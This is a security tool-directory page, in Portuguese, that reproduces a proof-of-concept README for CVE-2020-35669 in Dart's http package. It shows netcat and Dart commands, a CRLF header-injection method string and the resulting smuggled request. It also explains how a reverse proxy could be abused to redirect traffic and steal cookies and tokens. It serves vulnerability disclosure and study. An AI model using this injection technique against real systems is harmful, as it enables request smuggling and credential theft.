Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-35669 — Prova de conceito de exploit para CVE-2020-35669 demonstrando smuggling de requisições HTTP e injeção de cabeçalhos no pacote http do Dart através de parâmetros de método maliciosamente criados, permitindo bypass de proxy reverso e manipulação do cabeçalho Host. | Kitploit
Ferramentas/GitHubGitHub/n0npax/cve-2020-35669
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubn0npax/cve-2020-35669

CVE-2020-35669

Prova de conceito de exploit para CVE-2020-35669 demonstrando smuggling de requisições HTTP e injeção de cabeçalhos no pacote http do Dart através de parâmetros de método maliciosamente criados, permitindo bypass de proxy reverso e manipulação do cabeçalho Host.

Ver Repositório
11há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-35669

servidor dummy

por favor, execute o servidor dummy usando o 1º terminal

root@kitploit:~
sudo nc -l 127.0.0.1 80 

aplicar o diff fornecido

root@kitploit:~
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
 void main() async {
   var r = Request(
       "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
-      Uri(scheme: "http", path: "/llama", host: "google.com"));
+      Uri(scheme: "http", path: "/llama", host: "localhost"));
   var rs = await r.send();
   var resp = await Response.fromStream(rs);
   print('${resp.body}');

executar o aplicativo dummy

por favor, execute main.dart usando o 2º terminal

root@kitploit:~
dart run main.dart

resultado

nc deve receber a requisição fornecida

root@kitploit:~
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost

Parte importante do código

root@kitploit:~
  var r = Request(
      "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
      Uri(scheme: "http", path: "/llama", host: "google.com"));
  var rs = await r.send();

Caminho crítico

Assumindo que o diff mostrado acima não foi aplicado e o usuário está atrás de um rev-proxy O site servido por example.com foi alcançado.

root@kitploit:~
dart run main.dart
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    ...
    ... blah blah blah
    ...

Por que isso é um risco de segurança

Se o desenvolvedor está usando Request para abstrair a geração de chamadas HTTP e está aceitando um parâmetro de método do usuário, o usuário pode fazer algumas mágicas como injeção de cabeçalho ou falsificação de caminho. Isso pode ser explorado de várias maneiras e parece ser bastante importante, especialmente no caso de haver um proxy reverso em funcionamento. Um proxy pode simplesmente passar a requisição de alguém para qualquer host com base no cabeçalho host. Vamos supor que estou substituindo example.com por my-evil-uservice.org e a vítima está trabalhando em uma empresa atrás do proxy. Isso significa que posso redirecionar chamadas com cabeçalhos/cookies(tokens) e blá blá blá. Com base nisso, roubar chamadas com todos os cabeçalhos/cookies pode acontecer.

Baixar ferramenta